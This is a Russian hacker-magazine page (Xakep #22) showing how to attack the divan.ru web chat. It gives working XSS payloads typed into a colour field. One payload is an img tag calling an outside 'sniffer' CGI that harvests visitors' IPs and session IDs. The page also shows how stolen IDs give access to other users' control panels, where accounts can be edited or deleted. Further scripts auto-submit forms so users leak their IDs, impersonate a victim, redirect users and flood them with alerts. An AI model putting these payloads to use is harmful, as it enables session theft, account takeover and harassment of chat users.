|

Выносим диван - приносим бабки!
Xakep, номер #022, стр. 022-056-2
Диван у Омена - dn=DhbmsNlem
Наш ид - 1693783577
Ид генерится при входе в диван (каждый раз новый). Это несколько усложняет дело, но мы, как всегда, что-нибудь придумаем - башня-то для чего хаксору? ;)
Итак, ид прописали, диван обозначили, теперь в поле ввода ставим какую-нибудь точку, а в "поле взлома" (которое мы из select'a переделали) пишем
00ff00"><br><br><img src=http://сервер-какой-нить.ру/цги-бин/cниффер.цги> "
Надеюсь, что такое сниффер, понятно? ;) (Если непонятно - бери Х #9 00 и читай статью "Все о снифферах", а также другую статью про взлом www-chat`ов в Х #9 99)
Развлечения и контроль над юзерами
Таким образом мы получаем IP всех посетителей, а также строки вида
http://www.divan.ru/fcgi/divan?dn=DhbmsNlem&u=1693783577&a=g&pt=t#end, где видим ид юзеров. Да, идэшники-то видим, а как узнать, кто есть ху? Об этом чуть позже, а пока расскажу, что делать с идэшниками.
Правый фрейм "Панель управления" имеет адрес http://www.divan.ru/fcgi/advanced.cgi?u=1693783577.
Усекли? Открываем новое окно браузера, подставляем ид любого юзера и... (!!!) Попадаем в "Панель управления" вышеназванного субъекта. А это - приваты, настройки... короче, полный root. Самое интересное - это "Изменить инфу о себе". Заходим, меняем кексу ник, вешаем ему "крутую" инфу или вообще жмем кнопку DELETE, если совсем достал =).
Теперь разберемся, ху есть кто. Можно запускать сниффер и путем научного перебора искать соответствия ников и идэшников, но ЕСТЬ СПОСОБ ЛУЧШЕ! Итак, в "поле взлома" вначале пишем 001100">, а в конце кавычку " (это обязательно). А вот между этими фишками пишем следующее:
<script>if(top.frames[2].document.forms[0].u.value!="наш ид"){
top.frames[2].document.forms[0].text.value=top.frames[2].document.forms[0].u.value;
top.frames[2].document.forms[0].submit();} </script> Поясняю, полю ввода приравнивается значение поля с идэшником, и форма отправляется (без участия юзера!!!). Теперь все юзеры послушно пишут прямо в чат свои ид (кроме нас, конечно). ;) Ну а остальное - дело техники.
Теперь несколько приколов.
***далее я буду писать чистые скрипты без дополнений 001100"> и т.п.***
Берем ид какого-нить юзверя и пишем:
<script>if(top.frames[2].document.forms[0].u.value!="наш ид"){ top.frames[2].document.forms[0].u.value="ид несчастного"}</script>
Ы! Теперь весь диван пишет от имени жертвы! Вот смеху-то! Прямо коммунизм какой-то - все равны как на подбор. ;))
<script>top.frames[2].document.forms[0].text.value="Давайте будем повеселее!"</script> Ну, тут понятно.
<script>top.frames[2].document.forms[0].dn.value="ID какого-нибудь дивана"</script> Все пишут на другой диван)
В общем, тут можно творить все, до чего может довести больная фантазия. Если поганое настроение - можно всех удалить или сделать такое:
<script>top.document.location="http://www.microSUX.com"</script> все идут к Билли
<script>for(;;){alert("Все уроды!")}</script> "Бесконечное кликанье")
ну и т.д. и т.п.)
Способы практического применения багов
Назад на стр. 022-056-1 Содержание Вперед на стр. 022-056-3
|